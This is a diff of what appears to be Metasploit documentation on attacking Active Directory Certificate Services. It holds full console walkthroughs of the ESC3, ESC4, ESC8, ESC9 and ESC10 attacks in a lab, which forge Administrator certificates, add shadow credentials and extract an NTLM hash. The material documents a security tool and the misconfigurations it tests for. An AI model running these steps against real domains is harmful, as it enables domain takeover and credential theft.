-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -537,7 +547,7 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -546,7 +556,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot

 Loot
 ====
@@ -556,7 +566,7 @@ host  service  type           name             content               info
               windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216154930_default_unknown_windows.ad.cs_104207.pfx
               windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216155701_default_unknown_windows.ad.cs_756798.pfx

-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -592,8 +602,8 @@ Narrowing this list down to those we can actually enroll in as users, this leave
 We'll first get the cert using `ipcr_cert` with the `ESC3-Template1` certificate.

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf > use auxiliary/admin/dcerpc/icpr_cert
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -623,19 +633,19 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain DAFOREST
 SMBDomain => DAFOREST
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template1
 CERT_TEMPLATE => ESC3-Template1
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -644,7 +654,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-1611
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > loot
+msf auxiliary(admin/dcerpc/icpr_cert) > loot

 Loot
 ====
@@ -654,17 +664,17 @@ host  service  type           name             content               info
               windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216173718_default_unknown_windows.ad.cs_580032.pfx
               windows.ad.cs  certificate.pfx  application/x-pkcs12  DAFOREST\normal Certificate  /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx

-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Next, we'll try use this certificate to request another certificate on behalf of a different user. For this stage we need to specify another certificate that is vulnerable to the ESC3_TEMPLATE_2 attack vector that we are able to enroll in. We will use the `User` template for this:

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
+msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
 PFX => /home/gwillcox/.msf4/loot/20221216174221_default_unknown_windows.ad.cs_027866.pfx
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
+msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF DAFOREST\\Administrator
 ON_BEHALF_OF => DAFOREST\Administrator
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -697,9 +707,9 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User
 CERT_TEMPLATE => User
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -708,15 +718,15 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216174559_default_unknown_windows.ad.cs_570105.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 Just to show this is also possible with `ESC3-Template2` here is a snippet showing that also works:

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC3-Template2
 CERT_TEMPLATE => ESC3-Template2
-msf6 auxiliary(admin/dcerpc/icpr_cert) > show options
+msf auxiliary(admin/dcerpc/icpr_cert) > show options

 Module options (auxiliary/admin/dcerpc/icpr_cert):

@@ -749,7 +759,7 @@ Auxiliary action:

 View the full module info with the info, or info -d command.

-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [*] 172.30.239.85:445 - Requesting a certificate...
@@ -758,7 +768,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [*] 172.30.239.85:445 - Certificate SID: S-1-5-21-3290009963-1772292745-3260174523-500
 [*] 172.30.239.85:445 - Certificate stored at: /home/gwillcox/.msf4/loot/20221216180342_default_unknown_windows.ad.cs_390825.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) >
+msf auxiliary(admin/dcerpc/icpr_cert) >
 ```

 We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
@@ -774,20 +784,20 @@ the `ESC4-Test` certificate template does not allow the certificate's subject na
 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag is not set in the `msPKI-Certificate-Name-Flag` field).

 ```msf
-msf6 > use auxiliary/admin/dcerpc/icpr_cert 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
+msf > use auxiliary/admin/dcerpc/icpr_cert 
+msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser
 SMBUser => normaluser
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
+msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass
 SMBPass => normalpass
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
+msf auxiliary(admin/dcerpc/icpr_cert) > set CA daforest-WIN-BR0CCBA815B-CA
 CA => daforest-WIN-BR0CCBA815B-CA
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
+msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test
 CERT_TEMPLATE => ESC4-Test
-msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
+msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com
 ALT_UPN => Administrator@daforest.com
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run 
+msf auxiliary(admin/dcerpc/icpr_cert) > run 
 [*] Running module against 172.30.239.85

 [-] 172.30.239.85:445 - There was an error while requesting the certificate.
@@ -796,7 +806,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run
 [-] 172.30.239.85:445 -   Source:  (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer.
 [-] 172.30.239.85:445 -   HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name.
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > 
+msf auxiliary(admin/dcerpc/icpr_cert) > 
 ```

 Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a
@@ -805,20 +815,20 @@ update the object in Active Directory. The local certificate template data can b
 descriptor.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
+msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85
 RHOSTS => 172.30.239.85
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser
 USERNAME => normaluser
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass
 PASSWORD => normalpass
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test
 CERT_TEMPLATE => ESC4-Test
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE 
 ACTION => UPDATE
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true 
 VERBOSE => true
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Running module against 172.30.239.85

 [+] Successfully bound to the LDAP server!
@@ -830,32 +840,32 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU)
 [+] The operation completed successfully!
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > 
 ```

 Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut
 to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds.

 ```msf
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous 
-msf6 auxiliary(admin/dcerpc/icpr_cert) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > previous 
+msf auxiliary(admin/dcerpc/icpr_cert) > run
 [*] Running module against 172.30.239.85

 [+] 172.30.239.85:445 - The requested certificate was issued.
 [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com
 [*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/icpr_cert) > 
+msf auxiliary(admin/dcerpc/icpr_cert) > 
 ```

 Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by
 setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run.

 ```msf
-msf6 auxiliary(admin/dcerpc/icpr_cert) > previous 
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
+msf auxiliary(admin/dcerpc/icpr_cert) > previous 
+msf auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
 TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
+msf auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Running module against 172.30.239.85

 [+] Successfully bound to the LDAP server!
@@ -866,7 +876,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run
 [*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json
 [+] The operation completed successfully!
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/ldap/ad_cs_cert_template) >
+msf auxiliary(admin/ldap/ad_cs_cert_template) >
 ```

 At this point the certificate template's configuration has been restored and the operator has a certificate that can be
@@ -892,10 +902,10 @@ In the following example the AUTO mode is used to issue a certificate for the MS
 authenticated.

 ```msf
-msf6 auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
-msf6 auxiliary(server/relay/esc8) > run
+msf auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85
+msf auxiliary(server/relay/esc8) > run
 [*] Auxiliary module running as background job 1.
-msf6 auxiliary(server/relay/esc8) > 
+msf auxiliary(server/relay/esc8) > 
 [*] SMB Server is running. Listening on 0.0.0.0:445
 [*] Server started.
 [*] New request from 192.168.159.129
@@ -921,6 +931,392 @@ msf6 auxiliary(server/relay/esc8) >
 [*] Identity: MSFLAB\smcintyre - All targets relayed to
 ```

+# Overview of exploiting ESC9 and ESC10 with Metasploit
+
+ESC9 and ESC10 are similar certificate misconfiguration abuse techniques. They both involve having credentials of a
+user, say "user1", who has GenericWrite privileges over "user2". This allows an attacker as "user1" to update either the
+`userPrincipalName` or `dNSHostName` attribute of "user2". In order to update the attribute, we need to authenticate 
+via LDAP - which is a unique requirement compared to the  other ESC techniques and is why there is a separated
+module called `esc_update_ldap_object` which combines the attribute update via LDAP and certificate issuance process.
+
+If the AD CS server is configured to allow "weak certificate mappings" when a user is requesting a certificate, the
+server will check the `userPrincipalName` or the `dNSHostName` of the requesting identity and then issue a certificate
+based on that value.  Therefore if we can update "user2"'s UPN to "Administrator" and then request a certificate on
+behalf of "user2" we can get an Administrator certificate (easy priv esc horay). That is the essence of both ESC9 and
+ESC10 minus a number of details we'll get into.
+
+It's also worth noting that the following registry keys and preventative measure and exploit techniques (ESC9 and 10) all stem from
+Microsoft attempts to patch CVE-2022–26923 (aka Certifried). During this effort they implemented the new
+`szOID_NTDS_CA_SECURITY_EXT` security extension for issued certificates, which will embed the `objectSid`
+property of the requester, to help facilitate "strong certificate mappings", along with the following registry keys
+and certificate template flags.
+
+## StrongCertificateBindingEnforcement
+Located in: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc`
+
+This registry key defines what is considered weak and strong certificate mappings for **Kerberos authentication**. Possible values:
+
+| Setting | Method                                                                                           | Strength assessment |
+| ------- |--------------------------------------------------------------------------------------------------|---------------------|
+| 0       | No strong certificate mapping checks are done                                                    | weak                |
+| 1       | Will use strong mapping if present though can be ignored if CT_FLAG_NO_SECURITY_EXTENSION is set | weak                |
+| 2       | Full Enforcement Mode (No weak mappings allowed)                                                 | strong              |
+
+In order to exploit these certificate misconfiguration we will need the value of  `StrongCertificateBindingEnforcement` to be either `0` or `1`.
+If the value is set to `2` we cannot exploit the misconfiguration using Kerberos authentication.
+
+## CertificateMappingMethods
+Located in: `HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel`
+
+This registry key defines what is considered weak and strong certificate mappings for **Schannel authentication**. Possible values:
+
+| Bit | Setting | Method                                | Strength assessment |
+| --- | ------- | ------------------------------------- | ------------------- |
+| 1   | 0x0001  | Subject/Issuer certificate mapping    | weak                |
+| 2   | 0x0002  | Issuer certificate mapping            | weak                |
+| 3   | 0x0004  | UPN certificate mapping               | weak                |
+| 4   | 0x0008  | S4U2Self certificate mapping          | strong              |
+| 5   | 0x0010  | S4U2Self explicit certificate mapping | strong              |
+| 1-5 | 0x001F  | All of the above values               | weak                |
+
+In order to exploit these certificate misconfiguration using Schannel authentication we will need the value of
+`CertificateMappingMethods` to be `UPN certificate mapping` (or `All the above values`)
+
+
+## CT_FLAG_NO_SECURITY_EXTENSION
+Certificate templates now include an attribute called `msPKI-Enrollment-Flag`. The `msPKI-Enrollment-Flag` attribute
+defines how certificate enrollment behaves by enabling or disabling specific behaviors via a bitmask of flags. If the
+attribute contains the value:`0x00080000` (aka `CT_FLAG_NO_SECURITY_EXTENSION`) then the `szOID_NTDS_CA_SECURITY_EXT`
+is not included and we can exploit weak certificate mappings even if `StrongCertificateBindingEnforcement` is set to 1.
+
+
+## Changing userPrincipalName vs dNSHostName
+Both can be used to exploit the certificate misconfiguration. It should be noted that normal users don't have a `dNSHostName`
+attribute, only machine accounts do.
+
+# Exploiting ESC9
+## ESC9 Scenario 1
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
+- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set. 
+- The same vulnerable template has the `SubjectAltRequireUPN` flag set.
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a user who has `GenericWrite` privileges over another user that can enroll in the vulnerable template
+
+```
+msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run
+...
+[+] Template: ESC9-Template
+[*]   Distinguished Name: CN=ESC9-Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=kerberos,DC=issue
+[*]   Manager Approval: Disabled
+[*]   Required Signatures: 0
+[!]   Potentially vulnerable to: ESC9 (the template is in a vulnerable configuration but in order to exploit registry key StrongCertificateBindingEnforcement must not be set to 2)
+[*]   Notes:
+[*]     * ESC9: Template has msPKI-Enrollment-Flag set to 0x80000 (CT_FLAG_NO_SECURITY_EXTENSION) and specifies a client authentication EKU and user1 has write privileges over user2 and the template has a subjectAltName (UPN or DNS) requirement
+[*]  Certificate Template Write-Enabled SIDs:
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
+[*]     * S-1-5-11 (Authenticated Users)
+[*]   Certificate Template Enrollment SIDs:
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1602 (user1)
+[*]     * S-1-5-21-2324486357-3075865580-3606784161-1603 (user2)
+[*]     * S-1-5-11 (Authenticated Users)
+...
+```
+Now we can see the above template is possibly exploitable if the `StrongCertificateBindingEnforcement` is set to `1`. In 
+our case it is so we can proceed with exploitation. 
+
+We will set a number of datastore options in order to exploit ESC9 in this scenario.
+We will set `RHOSTS`, `CERT_TEMPLATE`, and `CA` as we normally would. In order to update the UPN of the
+target user we must connect to LDAP and so the datastore options `LDAPUsername`, `LDAPPassword`, and `LDAPDomain`
+are the credentials of the user who has `GenericWrite` privileges over the `TARGET_USERNAME`. Note `LDAPRport` must be
+set in order to connect however it defaults to 389.
+
+The option `UPDATE_LDAP_OBJECT` is an enum that can be set to either `userPrincipalName`  or `dNSHostName` and must be
+set in order to instruct the module to attempt to exploit ESC9 or ESC10. We will set `UPDATE_LDAP_OBJECT` to
+`userPrincipalName` in this case and so we then must set `UPDATE_LDAP_OBJECT_VALUE` to `Administrator`.
+
+It's important for this scenario, when updating the UPN to omit the domain suffix from the UPN to avoid conflicts with
+other UPNs in the domain, which by default all contain the suffix. The UPN processing order will still allow the DC to
+map the UPN Administrator in our writable account to the actual administrator, making its impersonation possible.
+
+It's also important to note that after issuing the certificate we must revert the `userPrincipalName` of the
+`TARGET_USERNAME` back to the original value before attempting to use the certificate or the certificate will not work. 
+This is done automatically by the module. 
+
+In the following example, the ESC9-Template template is vulnerable to ESC9 and will yield a ticket for Administrator once complete. 
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username user2
+target_username => user2
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername user1
+ldapusername => user1
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set cert_template ESC9-Template
+cert_template => SpencerTest
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ca kerberos-DC2-CA
+ca => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE Administrator
+UPDATE_LDAP_OBJECT_VALUE => Administrator
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: user2
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to Administrator...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to Administrator
+[+] The operation completed successfully!
+[*] 172.16.199.200:445 - Adding shadow credentials for user2
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] Certificate stored at: /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_windows.ad.cs_563081.pfx
+[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 2ff08c15-0ab3-98ad-ee0b-3fd1fbcf3e9d
+[*] 172.16.199.200:445 - Loading admin/kerberos/get_ticket
+[*] 172.16.199.200:445 - Getting hash for user2
+[!] Warning: Provided principal and realm (user2@kerberos.issue) do not match entries in certificate:
+[+] 172.16.199.200:88 - Received a valid TGT-Response
+[*] 172.16.199.200:88 - TGT MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_263627.bin
+[*] 172.16.199.200:88 - Getting NTLM hash for user2@kerberos.issue
+[+] 172.16.199.200:88 - Received a valid TGS-Response
+[*] 172.16.199.200:88 - TGS MIT Credential Cache ticket saved to /Users/jheysel/.msf4/loot/20250717140905_default_172.16.199.200_mit.kerberos.cca_015140.bin
+[+] Found NTLM hash for user2: aad3b435b51404eeaad3b435b51404ee:4fd408d8f8ecb20d4b0768a0ac44b71f
+[+] 172.16.199.200:445 - The requested certificate was issued.
+[*] 172.16.199.200:445 - Certificate Policies:
+[*] 172.16.199.200:445 -   * 1.3.6.1.5.5.7.3.2 (Client Authentication)
+[*] 172.16.199.200:445 - Certificate UPN: Administrator
+[*] 172.16.199.200:445 - Certificate stored at: /Users/jheysel/.msf4/loot/20250717140907_default_172.16.199.200_windows.ad.cs_548728.pfx
+[*] 172.16.199.200:445 - reverting ldap object
+[*] 172.16.199.200:445 - Loading admin/ldap/shadow_credentials
+[*] 172.16.199.200:445 - Running admin/ldap/shadow_credentials
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Discovering base DN automatically
+[*] 172.16.199.200:389 Discovered base DN: DC=kerberos,DC=issue
+[*] No matching entries found - check device ID
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of user2's userPrincipalName: Administrator
+[*] Attempting to update userPrincipalName for CN=user2,CN=Users,DC=kerberos,DC=issue to user2...
+[+] Successfully updated CN=user2,CN=Users,DC=kerberos,DC=issue's userPrincipalName to user2
+[+] The operation completed successfully!
+[*] Auxiliary module execution completed
+```
+We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) as the `Administrator`
+domain administrator. See the [Getting A Kerberos Ticket](#getting-a-kerberos-ticket) section for more information.
+
+## ESC9 Scenario 2
+Pre-requisites:
+- `StrongCertificateBindingEnforcement` is set to `1` (if it's set to `0` exploitation will still work but technically you're exploiting ESC10 in that case)
+- A vulnerable certificate template has the `CT_FLAG_NO_SECURITY_EXTENSION` flag set.
+- The same vulnerable template has the `SubjectAltRequireDNS` flag set. <--- (Difference 1/2 between pre-requisites in scenario 1 and 2)
+- The same vulnerable template has a client authentication EKU
+- We have credentials of a machine account who has `GenericWrite` privileges over another **machine account** that can enroll in the vulnerable template <--- (Difference 2/2 between pre-requisites in scenario 1 and 2)
+  - Only machine accounts can have the `dNSHostName` attribute set, so our "target_user" needs to be machine account
+
+The option `UPDATE_LDAP_OBJECT` will now be set to `dNSHostName` and because only machine accounts have the `dNSHostName` attribute we will set our `TARGET_USER` to the machine account`Test2$`
+We will be changing the `dNSHostName` of the machine account `Test1$` to `DC2.kerberos.issue` (`DC2` is the hostname of the domain controller) in hopes to impersonate the Domain Controller machine account
+
+`CERT_TEMPLATE` will be set to `ESC9-Template-Dns` which is the same template as `ESC9-Template` but with the `SubjectAltRequireDNS` flag set instead of the `SubjectAltRequireUPN` flag.
+
+```
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set rhosts 172.16.199.200
+rhosts => 172.16.199.200
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldaprport 389
+ldaprport => 389
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set target_username "Test2$"
+target_username => Test2$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT_VALUE dc2.kerberos.issue
+UPDATE_LDAP_OBJECT_VALUE => dc2.kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set UPDATE_LDAP_OBJECT dnsHostName
+UPDATE_LDAP_OBJECT => dNSHostName
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CA kerberos-DC2-CA
+CA => kerberos-DC2-CA
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set CERT_TEMPLATE ESC9-Template-Dns
+CERT_TEMPLATE => ESC9-Template-Dns
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapdomain kerberos.issue
+ldapdomain => kerberos.issue
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldappassword N0tpassword!
+ldappassword => N0tpassword!
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > set ldapusername Test1$
+ldapusername => Test1$
+msf6 auxiliary(admin/dcerpc/esc_update_ldap_object) > run
+[*] Reloading module...
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Running module against 172.16.199.200
+[*] 172.16.199.200:445 - Loading auxiliary/admin/ldap/ldap_object_attribute
+[*] 172.16.199.200:445 - Running auxiliary/admin/ldap/ldap_object_attribute
+[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
+[*] Current value of Test2$'s dNSHostName:
+[*] Attempting to update dNSHostName for CN=Test2,CN=Computers,DC=kerberos,DC=issue to dc2.kerberos.issue...
+[+] Successfully updated CN=Test2,CN=Computers,DC=kerberos,DC=issue's dNSHostName to dc2.kerberos.issue
+[+] The operation completed successfully!
